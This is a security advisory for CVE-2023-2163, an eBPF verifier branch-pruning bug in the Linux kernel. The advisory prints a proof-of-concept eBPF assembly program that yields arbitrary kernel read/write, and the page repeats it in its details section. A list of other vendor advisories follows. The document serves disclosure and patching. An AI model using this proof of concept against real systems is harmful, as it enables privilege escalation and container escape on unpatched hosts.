Linux Kernel: eBPF verifier bug
MediumCVE-2023-2163 · Published Jun 29, 2023
### Summary A bug in the eBPF Verifier branch pruning logic can lead to unsafe code paths being incorrectly marked as safe. As demonstrated in the exploitation section, this can be leveraged to get arbitrary read/write in kernel memory, leading to LPE and Container escape. ### Severity Moderate - An adversary with CAP_BPF or CAP_SYS_ADMIN can gain arbitrary Linux kernel R/W in at least linux kernel 5.4 and above. ### Proof of Concept ``` # llvm-mc-15 -triple bpf -filetype=obj -o repro.o repro.s # llvm-objcopy-15 -O binary repro.o repro.bin .text .globl func .p2align 3 func: r6 = 0x400 r7 = 0 r8 = 0 r9 = 0x80000000 r6 %= 0x401 goto bb0 bb0: if r6 <= r9 goto bb1 r6 %= 1 r9 = 0 bb1: if r6 <= r9 goto epilogue0 r6 = 0 epilogue0: r0 = 0 *(u32 *)(r10 - 4) = r0 ld_pseudo r4 0x1 0x3 r1 = r4 r2 = r10 r2 += -4 call 0x1 if r0 != 0 goto epilogue1 exit epilogue1: r6 >>= 10 r6 *= 8192 r1 = r0 r0 += r6 r3 = *(u64 *)(r0 + 0) *(u64 *)(r1 + 0) = r3 exit: exit ```...
Affected versions
| Package | Affected | Fixed in |
|---|---|---|
| Kernel Product | >= 5.4, < ReferenceFurtherAnalysis | ReferenceFurtherAnalysis |
Details and references
### Summary A bug in the eBPF Verifier branch pruning logic can lead to unsafe code paths being incorrectly marked as safe. As demonstrated in the exploitation section, this can be leveraged to get arbitrary read/write in kernel memory, leading to LPE and Container escape. ### Severity Moderate - An adversary with CAP_BPF or CAP_SYS_ADMIN can gain arbitrary Linux kernel R/W in at least linux kernel 5.4 and above. ### Proof of Concept ``` # llvm-mc-15 -triple bpf -filetype=obj -o repro.o repro.s # llvm-objcopy-15 -O binary repro.o repro.bin .text .globl func .p2align 3 func: r6 = 0x400 r7 = 0 r8 = 0 r9 = 0x80000000 r6 %= 0x401 goto bb0 bb0: if r6 <= r9 goto bb1 r6 %= 1 r9 = 0 bb1: if r6 <= r9 goto epilogue0 r6 = 0 epilogue0: r0 = 0 *(u32 *)(r10 - 4) = r0 ld_pseudo r4 0x1 0x3 r1 = r4 r2 = r10 r2 += -4 call 0x1 if r0 != 0 goto epilogue1 exit epilogue1: r6 >>= 10 r6 *= 8192 r1 = r0 r0 += r6 r3 = *(u64 *)(r0 + 0) *(u64 *)(r1 + 0) = r3 exit: exit ``` ### Further Analysis Fix - https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=71b547f561247897a0a14f3082730156c0533fed ### Timeline **Date reported**: 3/31/2023 **Date fixed**: 4/19/2023 **Date disclosed**: 6/29/2023
- Severity from
- GitHub (reviewed advisory)
More Google advisories
All Google| Date | Advisory | Severity | Fixed in |
|---|---|---|---|
| Jul 242023 | AMD: Information Leak in Zen 2 | High7.1 | 2023-07-19 |
| Jun 282023 | Harbor: Container Compromise Due to default Credentials | Critical | v1.3.18 |
| Jun 212023 | Connect2id: Timing attack in Nimbus-Jose | Medium | No fix yet |
| Jun 212023 | Portainer: Self-XSS | Low | 2.18.1 |
| Jun 152023 | Apple: Airpods Pro Device Link without Key | High | No fix yet |
| May 222023 | NPM: Ignore Script Bypass | Medium | Nopatchedversionsatthistime |